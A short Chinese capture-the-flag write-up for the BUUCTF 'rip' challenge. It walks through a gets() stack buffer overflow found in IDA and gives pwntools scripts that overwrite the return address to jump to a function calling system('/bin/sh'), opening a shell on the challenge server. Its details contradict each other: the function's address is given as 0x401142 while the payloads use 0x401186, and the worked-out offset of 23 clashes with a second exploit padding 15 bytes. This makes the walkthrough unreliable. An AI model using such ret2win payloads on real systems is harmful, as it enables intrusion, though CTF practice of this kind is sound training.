buuctf reverse rip
算是入门pwn的第一道题吧
先拖进ida查看
F5查看伪代码:
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [rsp+1h] [rbp-Fh] puts("please input"); gets((__int64)&s, (__int64)argv); puts(&s); puts("ok,bye!!!"); return 0; }
此时注意到 gets函数
gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。
gets((__int64)&s, (__int64)argv);
双击 s ,查看需要多少字节 。以此来确定偏移量。
也就是说只需要存入15个字节地址,就可以get函数返回地址。
注意到 后面还有 db 8 dup(?) db: 定义字节类型变量的伪指令 dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定 ?: 只分配存储空间,不指定初值
因此 最后偏移量为 : 15+8 = 23 。
得到偏移量23
回到ida pro中。寻找是否存在 系统调用函数
找到fun()函数
int fun() { return system("/bin/sh"); }
查看得到 地址为 0x401142。
exp:
from pwn import * p = remote('node3.buuoj.cn', 27018) payload = b'a' * 23 + p64(0x401186 + 1) p.sendline(payload) p.interactive()
+1
是为了保证堆栈平衡。对于payload
payload = b'a' * 23 + p64(0x401186) + p64(0x401185) #多加的这部分任意找ret语句 都可以
exp2
from pwn import * p = remote('node3.buuoj.cn', 27018) payload = b'a' * 15 + p64(0x401186) p.sendline(payload) p.interactive()
注意: 上述 payload中 'a' 可以替换成任意字母。 'a' 前面的 b是为了防止python3运行时出现以下错误。 // python2无事。 TypeError: can only concatenate str (not "bytes") to str